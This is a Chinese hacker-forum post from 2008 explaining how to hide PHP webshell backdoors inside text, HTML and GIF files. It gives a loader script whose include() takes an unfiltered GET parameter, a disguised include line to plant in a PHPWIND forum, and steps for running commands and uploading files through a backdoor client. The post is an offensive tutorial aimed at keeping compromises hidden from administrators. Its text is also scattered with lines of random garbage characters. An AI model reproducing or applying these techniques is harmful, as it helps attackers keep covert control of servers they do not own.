深刻 2008-5-3 16:35
黑客知识：如何隐藏 PHP文件后门的技巧
最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里，其实把一句话木马插入到PHP文件中就已经很隐蔽了，如果说硬是要放到HTML文件或图片里，就接着往下看的这篇测试报告吧。2L8u3w%I$t
_T%`']+}s%P!z?3a;` R
i!M ^.D#?)c q5Bw7@;R*@
要知道如果光把PHP语句放到图片里是无论如何也不能执行的，因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 ：include 、require 等。 6W"C'~2V]!Y/}~
y
Z1RW r6q1b ]
我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include("x.gif")这样的语句来调用隐藏在图片的木马语句。ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。由于URL 里用GET方式很难传递参数，这就使得插入木马的性能得不到发挥。
6RU
S J8?}l
2|6T.`&~g$ft
Include 函数在PHP中使用的比较频繁，所以引起的安全问题也实在太多，例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里，可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句：
i8?(p%{
b.G
(N rGm8E H(cA
CODE：#TW8Ip{!U3uG
[xZ E Wk7U
＜‘’？@include includ/.$PHPWIND_ROOT；？ ＞[Copy to clipboard]%{^
b7d
U-Q2KZ
!gU'e"?.K0[F
一般管理员是无法看出来的。 y9V%SdP
dCQ)G8a
有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了，下面我们就依次来做测试。 /D2@MX,e7{!U
;wl GQP N"Qo^.W s
首先建立一PHP文件test.php 文件内容为:
"|3YX2VY)R-z9\*t1L
!w&p$d&YK*Qz
CODE：$test=$_GET["test"]；
-Lc bt8g,?jL6T6n
1FA j2e3HO]*r m
@include "test/".$test；7jB0iWL8b
tGI3ra#@
？＞r+n? U"[8r
'w-HB s9J4{q;|
[Copy to clipboard]
r
w"nM7xg d;Jh
O Bw4Jd
Txt文件一般都是说明文件，所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到t.txt文件里。然后访问 hxxp://localhost/test/test.php?test=../t.txt 如果你看到t.txt的内容就证明Ok了， 然后把在lanker微型PHP后门客户端 木马地址添入 hxxp://localhost/test/test.php?test=../t.txt 密码里添入cmd就可以了，执行返回的结果都可以看到。
s5R`2]9vH7Zf"A5T Yj
o^/^)? UG `
对于HTML的文件，一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来，我们可以在HTML里加入一个隐藏属性的文本框 ，如： 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 我可以得到目录为 C:Uniserver2_7swww est。
6BV(\/U!S1I(D.f"J `
Lo6dLSK$|
下面我们说说图片文件，要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑，把插入到图片末尾
Z |O/yR.G+Y0A
"E1t#w6h+M
经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入
L\YtK,FD,nD
b `u.O)j,w.| C%k4{:P
我们查看PHP环境变量 返回的是结果是原图片。
i%~z Hv$^ R0Q
/T_ J2oP(j cbM
这里可能要和我们想象的结果有些差距了，其实命令已经运行了，只是返回的结果看不到而已，因为这是真正的GIF文件，所以是不会显示返回结果的，为了证明是否真的执行了命令我们 执行上传文件命令。果不出所料，文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。如果你想看到返回的结果，那就拿出记事本伪造一个假的图片文件吧。
